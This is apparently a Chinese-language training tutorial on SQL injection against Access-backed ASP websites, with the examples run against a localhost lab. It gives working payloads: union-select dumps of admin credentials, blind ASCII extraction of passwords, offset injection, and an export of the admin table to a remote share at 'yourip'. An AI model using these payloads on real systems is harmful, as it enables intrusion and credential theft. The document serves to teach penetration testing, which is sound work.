11 Access 注入详解

11 Access 注入详解

注入漏洞分析

站库分类

网站分类

  • 静态网页 :

html 或者 htm, 是一种静态的页面格式, 不需要服务器解析其中的脚本. 由浏览器解析.

  1. 不依赖数据库

  2. 灵活性差, 制作更新维护麻烦

  3. 交互性较差, 在功能方面有较大的限制

  4. 安全, 不存在 SQL 注入漏洞

  • 动态网页 :

asp, aspx, php, jsp 等, 由相应的脚本引擎来解释执行, 根据指令生成静态网页.

  1. 依赖数据库

  2. 灵活性好, 维护简便

  3. 交互性好, 功能强大

  4. 存在安全风险, 可能有 SQL 注入漏洞

常见的数据库

  • Access

  • MsSQL server

  • MySQL, oracle, postgresql, Db2 等

网站访问模型

漏洞成因

注入漏洞是怎么样形成的

数据与代码未严格分离; 用户提交的参数数据未做充分检查过滤即被代入到 SQL 命令中, 改变了原有 SQL 命令的 "语义", 且成功被数据库执行.

常见的注入流程

注入危害

  • SQL 注入的定义 :

很多应用程序都使用数据库来存储信息. SQL 命令就是前段应用程序和后端数据库之间的接口. 攻击者可利用应用程序根据提交的数据动态生成 SQL 命令的特性, 在 URL, 表单域, 或者其它的输入域中输入自己的 SQL 命令, 改变 SQL 命令的操作, 将被修改的 SQL 命令注入后端数据库引擎执行.

  • SQL 注入的危害 :

这些危害包括但不限于 :

  1. 数据库信息泄露 : 数据库中存放的用户的隐私信息泄露

  2. 网页篡改 : 通过操作数据库对特定网页进行篡改

  3. 网站被挂马, 传播恶意软件 : 修改数据库一些字段的值, 嵌入网马链接, 进行挂马攻击

  4. 数据库被恶意操作 : 数据库服务器被攻击, 数据库的系统管理员账户被窜改

  5. 服务器被远程控制, 被安装后门. 经由数据库服务器提供的操作系统支持, 让黑客得以修改或控制操作系统

  6. 破坏硬盘数据, 瘫痪全系统

一些类型的数据库系统能够让 SQL 指令操作文件系统, 这使得 SQL 注入的危害被进一步放大

其实我们判断有没有存在注入, 就是它有没有把我们后面输的语句带进去执行了.

Access 数据库注入详解

Access 数据库介绍

Microsoft Office Access 是由微软发布的关系数据库管理系统. 它结合了 Microsoft Database Engine 和图形用户界面两项特点, 是 Microsoft Office 的系统应用程序之一.

优势 & 缺陷, 自行百度

ASP 链接 Access 数据库代码

"Driver={microsoft access driver(*.mdb)};uid=admin;pwd=pass;"
dim conn
set conn = server.createobject("adodb.connection")
conn.open "provider=Microsoft.ACE.OLEDB.12.0;" & & "data source = " & server.mappath("bbs.mdb)

打开工具

  • 数据库后缀 *.mdb

  • 常用打开工具

    • 辅臣数据库浏览器
    • 破障浏览器

Access 数据库注入原理

漏洞判断

  • 判断注入点 :
    • '
    • and 1=1
    • and 1=2
    • /
    • -0
    • .0
    • .1

用 Burpsuite 查看返回信息

判断数据库注入

  • and exsits (select * from msysobjects)>0 access

  • and exsits (select * from sysobjects)>0 sqlserver

  • 判断数据库表

    • and exists (select * from admin)
  • 判断数据库列名

    • and exisits (select admin from admin)

我们用 漏洞分析 下的 Mantra 浏览器

Access 注入

  • 判断字段长度 order by 20

    • order by 其实是排序语句, 但是它可以用来判断有多少列
  • 判断 and 1-2 union select 1,2,3,4,5,6,7,8,9 from admin

  • 数据库联合查询 and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin

番外篇

  • 判断账户密码的长度

and (select len(admin) from admin)=5 如果返回正常则说明管理员账户长度为 5

and (select len(password) from admin)=5 猜解管理员密码长度是否为 5

  • 猜解管理员账户的第一个数据
    • 通过 ASCII 码来判断

and (select top 1 asc(mid(admin,1,1)) from admin)>100 返回正常则说明大于, 不正常说明不大于

and (select top 1 asc(mid(admin,1,1)) from admin)>50 同上

and (select top 1 asc(mid(admin,1,1)) from admin)=97 返回正常则说明等于 97, 97 对应字母为 a.

以此类推

  • 判断管理员账户的第二个数据

and (select top 1 asc(mid(admin,2,1)) from admin)>100 返回正常说明大于, 不正常说明不大于

  • 判断第三个数据

and (select top 1 asc(mid(admin,1,1)) from admin)>100 同上

  • 以此类推

  • 判断管理员密码的第一个数据

and (select top 1 asc(mid(password,1,1)) from admin)>100 同上

折半查找

常用工具

阿D, 明小子, 穿山甲, havji, sqlmap 等

Access 数据库高级玩法

爆出表名, 但是爆不出列名

偏移注入

偏移注入的产生主要是用来解决表名猜出来了, 但是列名猜不出来的情况

http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

  • 用 * 代替字段长度

* 来从最后一个字段数 22 向前逐个删除来代替, 直到显示正常为止, * 代表了所有 admin 表的字段

步骤如下 :

http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin

http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,* from admin

爆出来的数据是随机的

然后代入公式 :

一共是多少列, 然后减去剩下的

一共有 38, 38 减去剩下的也就是 27 等于 11

1.union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 保证表名为 admin, 不然会报错, 这里你要根据你测试的那个表名来修改代码

2.union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

38 - 27 = 11, 然后我们还可以 27 - 11 = 16, 在 16 的位置上再偏移一次对应 1.

然后我们还可以 16 - 11 = 5, 再一次偏移, 对应 2.

Access 偏移注入原理

第二种方法 :

  1. 后台登录文件源码表单里面的参数值

  2. 看网站地址链接上的规则

  3. 是否判断出对方使用的 cms 程序

跨库查询

Access跨库查询

利用 Access 写入文件

利用 SQL 注入 Access 导出数据库内容到文本文件 (可导出 txt, htm, html 等格式) 的方法 :

select * into [test.txt] in ' d:\web\' ' text;' from admin

执行上述语句, 在 d:\web 目录下就会生成 test.txt 文件, 其内容就是 admin 表的内容. 但是导出 asp 格式就不行, 会报错 "不能更新, 数据库或对象为只读"

其实控制导出文件后缀是存储在注册表的, 具体键值是 HKEY_LOCALMACHINE\Software\Microsoft\Jet\4.0\Engines\Text\DisableExtension 默认情况下值为 !txt,csv,tab,asc,tmp,htm,html, 如果我们把 asp 添加进去的话, 就可以导出 asp 格式的文件了

这个方法跟那个调用 Access 的 Shell 函数执行命令一样, 要修改注册表, 所以利用价值不是很大

可以导出到自己的机器 : select * into [test.txt]in' \\yourip\share' 'text;' from admin